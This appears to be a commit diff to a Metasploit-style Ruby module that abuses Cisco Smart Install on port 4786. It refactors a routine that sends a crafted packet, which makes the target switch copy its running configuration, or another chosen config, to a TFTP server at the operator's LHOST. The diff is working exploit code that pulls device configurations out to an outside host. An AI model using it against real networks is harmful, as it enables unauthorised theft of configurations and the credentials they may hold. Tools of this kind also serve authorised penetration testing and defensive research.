@@ -42,7 +42,8 @@ def initialize(info = {})
42
42
[
43
43
Opt ::RPORT ( 4786 ) ,
44
44
OptAddressLocal . new ( 'LHOST' , [ false , "The IP address of the system running this module" ] ) ,
45
- OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 10 ] )
45
+ OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 10 ] ) ,
46
+ OptString . new ( 'CONFIG' , [ true , "The source config to copy when using DOWNLOAD" , "system:running-config" ] )
46
47
]
47
48
)
48
49
end
@@ -111,16 +112,15 @@ def decode_hex(string)
111
112
string . scan ( /../ ) . map { |x | x . hex } . pack ( 'c*' )
112
113
end
113
114
114
- def send_packet
115
- copy_config = "copy system:running- config tftp://#{ @lhost } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
115
+ def request_config ( tftp_server , config )
116
+ copy_config = "copy #{ config } tftp://#{ tftp_server } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
116
117
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
117
118
packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( decode_hex ( ( '00' * ( 336 ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
118
- print_status ( "Requesting configuration from device... " )
119
+ print_status ( "Attempting #{ copy_config } " )
119
120
sock . put ( packet )
120
121
end
121
122
122
123
def run_host ( ip )
123
- @lhost = datastore [ 'LHOST' ] || Rex ::Socket . source_address ( ip )
124
124
begin
125
125
case
126
126
when action . name == 'SCAN'
@@ -132,8 +132,8 @@ def run_host(ip)
132
132
return unless smi?
133
133
disconnect # cant send any additional packets, so closing
134
134
connect
135
- print_status ( "Requesting configuration from device..." )
136
- send_packet
135
+ tftp_server = datastore [ 'LHOST' ] || Rex :: Socket . source_address ( ip )
136
+ request_config ( tftp_server , datastore [ 'CONFIG' ] )
137
137
print_status ( "Waiting #{ datastore [ 'SLEEP' ] } seconds for configuration" )
138
138
Rex . sleep ( datastore [ 'SLEEP' ] )
139
139
end
0 commit comments